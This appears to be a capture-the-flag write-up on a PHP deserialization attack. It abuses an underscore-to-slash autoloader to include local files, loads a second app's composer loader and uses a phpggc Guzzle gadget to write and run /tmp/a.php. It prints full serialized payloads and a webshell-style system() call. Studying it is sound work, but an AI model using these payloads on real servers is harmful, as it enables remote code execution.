Links

PHP - Deserialization + Autoload Classes

First, you should check what are Autoloading Classes.

PHP deserialization + spl_autoload_register + LFI/Gadget

We are in a situation where we found a PHP deserialization in a webapp with no library vulnerable to gadgets inside phpggc. However, in the same container there was a different composer webapp with vulnerable libraries. Therefore, the goal was to load the composer loader of the other webapp and abuse it to load a gadget that will exploit that library with a gadget from the webapp vulnerable to deserialization.
Steps:
  • You have found a deserialization and there isn’t any gadget in the current app code
  • You can abuse a spl_autoload_register function like the following to load any local file with .php extension
    • For that you use a deserialization where the name of the class is going to be inside $name. You cannot use "/" or "." in a class name in a serialized object, but the code is replacing the underscores ("_") for slashes ("/"). So a class name such as tmp_passwd will be transformed into /tmp/passwd.php and the code will try to load it. A gadget example will be: O:10:"tmp_passwd":0:{}
spl_autoload_register(function ($name) {
​
if (preg_match('/Controller$/', $name)) {
$name = "controllers/${name}";
} elseif (preg_match('/Model$/', $name)) {
$name = "models/${name}";
} elseif (preg_match('/_/', $name)) {
$name = preg_replace('/_/', '/', $name);
}
​
$filename = "/${name}.php";
​
if (file_exists($filename)) {
require $filename;
}
elseif (file_exists(__DIR__ . $filename)) {
require __DIR__ . $filename;
}
});
If you have a file upload and can upload a file with .php extension you could abuse this functionality directly and get already RCE.
In my case, I didn’t have anything like that, but there was inside the same container another composer web page with a library vulnerable to a phpggc gadget.
  • To load this other library, first you need to load the composer loader of that other web app (because the one of the current application won’t access the libraries of the other one.) Knowing the path of the application, you can achieve this very easily with: O:28:"www_frontend_vendor_autoload":0:{} (In my case, the composer loader was in /www/frontend/vendor/autoload.php)
  • Now, you can load the others app composer loader, so it’s time to generate the phpgcc payload to use. In my case, I used Guzzle/FW1, which allowed me to write any file inside the filesystem.
    • NOTE: The generated gadget was not working, in order for it to work I modified that payload chain.php of phpggc and set all the attributes of the classes from private to public. If not, after deserializing the string, the attributes of the created objects didn’t have any values.
  • Now we have the way to load the others app composer loader and have a phpggc payload that works, but we need to do this in the SAME REQUEST for the loader to be loaded when the gadget is used. For that, I sent a serialized array with both objects like:
    • You can see first the loader being loaded and then the payload
a:2:{s:5:"Extra";O:28:"www_frontend_vendor_autoload":0:{}s:6:"Extra2";O:31:"GuzzleHttp\Cookie\FileCookieJar":4:{s:7:"cookies";a:1:{i:0;O:27:"GuzzleHttp\Cookie\SetCookie":1:{s:4:"data";a:3:{s:7:"Expires";i:1;s:7:"Discard";b:0;s:5:"Value";s:56:"<?php system('echo L3JlYWRmbGFn | base64 -d | bash'); ?>";}}}s:10:"strictMode";N;s:8:"filename";s:10:"/tmp/a.php";s:19:"storeSessionCookies";b:1;}}
  • Now, we can create and write a file, however, the user couldn’t write in any folder inside the web server. So, as you can see in the payload, PHP calling system with some base64 is created in /tmp/a.php. Then, we can reuse the first type of payload that we used to as LFI to load the composer loader of the other webapp to load the generated /tmp/a.php file. Just add it to the deserialization gadget:
a:3:{s:5:"Extra";O:28:"www_frontend_vendor_autoload":0:{}s:6:"Extra2";O:31:"GuzzleHttp\Cookie\FileCookieJar":4:{s:7:"cookies";a:1:{i:0;O:27:"GuzzleHttp\Cookie\SetCookie":1:{s:4:"data";a:3:{s:7:"Expires";i:1;s:7:"Discard";b:0;s:5:"Value";s:56:"<?php system('echo L3JlYWRmbGFn | base64 -d | bash'); ?>";}}}s:10:"strictMode";N;s:8:"filename";s:10:"/tmp/a.php";s:19:"storeSessionCookies";b:1;}s:6:"Extra3";O:5:"tmp_a":0:{}}
Summary of the payload
  • Load the composer autoload of a different webapp in the same container
  • Load a phpggc gadget to abuse a library from the other webapp (the initial webapp vulnerable to deserialization didn’t have any gadget on its libraries)
  • The gadget will create a file with a PHP payload on it in /tmp/a.php with malicious commands (the webapp user cannot write in any folder of any webapp)
  • The final part of our payload will use load the generated php file that will execute commands
I needed to call this deserialization twice. In my testing, the first time the /tmp/a.php file was created but not loaded, and the second time it was correctly loaded.